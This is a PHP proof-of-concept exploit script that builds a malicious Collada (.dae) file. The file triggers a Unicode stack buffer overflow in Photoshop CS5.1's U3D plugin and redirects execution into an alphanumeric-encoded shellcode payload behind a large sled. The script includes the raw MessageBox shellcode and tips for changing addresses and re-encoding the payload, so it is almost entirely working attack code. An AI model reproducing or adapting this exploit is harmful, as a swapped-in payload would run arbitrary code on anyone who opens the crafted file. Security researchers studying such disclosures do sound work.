<?php
// ~ Adobe Photoshop CS5.1 U3D.8bi Library Collada Asset Elements
// Unicode Conversion Stack Based Buffer Overflow poc (*.dae)
// (32bit/SEH) ~
//
// unicode overflow occurs when overlong asset elements are processed
// one could be able to return inside an ASCII memory region
// with an ultra large nop through assigning eip to ex. Photoshop.00630041.
// the shellcode should be alphabetic (high bytes order filtering and various issues)
//
// Usage: php 9sg_dae.php
// a file photoshop_sample.dae is created
// start Photoshop then open it through the File menu
// a message box pops, HEY!
//
// ~ rgod ~
/*
you shuld change addresses according to your system
then reencode with alpha2 (use eax alignment)
//say "Hey" MsgBox Shellcode
$code ="\x31\xc0\x31\xdb\x31\xc9\x31\xd2".
"\xeb\x2a\x59".
"\xbb\xca\x1d\xe4\x77". //LoadLibraryA(), kernel32.dll
"\x51\xff\xd3\xeb\x2f\x59\x51\x50".
"\xbb\x7a\x3d\xe6\x77". //GetProcAddress(), kernel32.dll
"\xff\xd3\xeb".
"\x34\x59\x31\xd2\x52\x51\x51\x52".
"\xff\xd0\x31\xd2\x50".
"\xb8\xf9\x68\xe6\x77". //ExitProcess(), kernel32.dll
"\xff\xd0\xe8\xd1\xff\xff".
"\xff\x75\x73\x65\x72\x33\x32\x2e".
"\x64\x6c\x6c\x00\xe8\xcc\xff\xff".
"\xff\x4d\x65\x73\x73\x61\x67\x65".
"\x42\x6f\x78\x41\x00\xe8\xc7\xff".
"\xff\xff\x48\x65\x79\x00";
*/
$scode = "\x2d\x7d\x25\x5b\x7f". //sub preamble, align eax for alpha code,clean
"\x2d\x79\x22\x20\x6f". //sub, align ... the gap is repaired through the inc eax trick
"PYIIIIIIIIIIIIIIII7QZjA".
"XP0A0AkAAQ2AB2BB0BBABXP".
"8ABuJIvQYPp1IKp1YYtqJrZ".
"K4jpYmk8JuMM4PwpQKOyCZK".
"vORycaRpMksJUmkVqgyoKcz".
"KvTRyTqZrRr0QrqPRkOn0VQ".
"N20PnXzY0hZFpwYojpM8N1k".
"OIokOQebSauPrP3trDnPdrL".
"PlUPKXxLKOKOIorm1u2SRS3".
"QQw0esrbOd8raC0KXKwkOYo".
"KO3xSUt9uPA";
$eip="Ac"; //Photosho.00630041, return to our payload
$payload = str_repeat("\x40",4096000);//inc eax, needed , also nop equivalent, don't touch
$payload.=$scode;
$payload.= str_repeat("\x40",1024000);
$_xml ='<?xml version="1.0"?>'.
'<COLLADA xmlns="http://www.collada.org/2005/11/COLLADASchema" version="1.4.1">'.
' <asset>'.
' <contributor>'.
' <author>rgod</author>'.
' <authoring_tool>Maya 8.0 | ColladaMaya v3.02 | FCollada v3.2</authoring_tool>'.
' <comments>Collada Maya Export Options: bakeTransforms=0;exportPolygonMeshes=1;bakeLighting=0;isSampling=0;'.
' curveConstrainSampling=0;exportCameraAsLookat=0;'.
' exportLights=1;exportCameras=1;exportJointsAndSkin=1;'.
' exportAnimations=1;exportTriangles=1;exportInvisibleNodes=0;'.
' exportNormals=1;exportTexCoords=1;exportVertexColors=1;exportTangents=0;'.
' exportTexTangents=0;exportConstraints=1;exportPhysics=0;exportXRefs=1;'.
' dereferenceXRefs=0;cameraXFov=0;'.
str_repeat("A",170).
'cameraYFov=1;'.
str_repeat("a",100).
str_repeat("b",100).
str_repeat("c",100).
str_repeat("d",100).
str_repeat("e",100).
str_repeat("f",100).
str_repeat("g",100).
str_repeat("h",100).
str_repeat("i",100).
str_repeat("j",100).
str_repeat("k",100).
str_repeat("l",100).
str_repeat("m",100).
str_repeat("n",100).
"aaaabbbA".
$eip.
"ccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyy".
' </comments>'.
'<aaaa>'.
$payload.
'</aaaa>'.
' <copyright>'.
' Copyright 2012 rgod Computer Entertainment Inc.'.
' </copyright>'.
' <source_data>file:///C:/vs2005/sample_data/untitled</source_data>'.
' </contributor>'.
' <created>2008-04-24T22:29:59Z</created>'.
' <modified>2099-02-21T22:52:44Z</modified>'.
' <unit meter="0.01" name="centimeter"/>'.
' <up_axis>Y_UP</up_axis>'.
' </asset>'.
'</COLLADA>';
file_put_contents("photoshop_sample.dae",$_xml);
echo "done";
?>
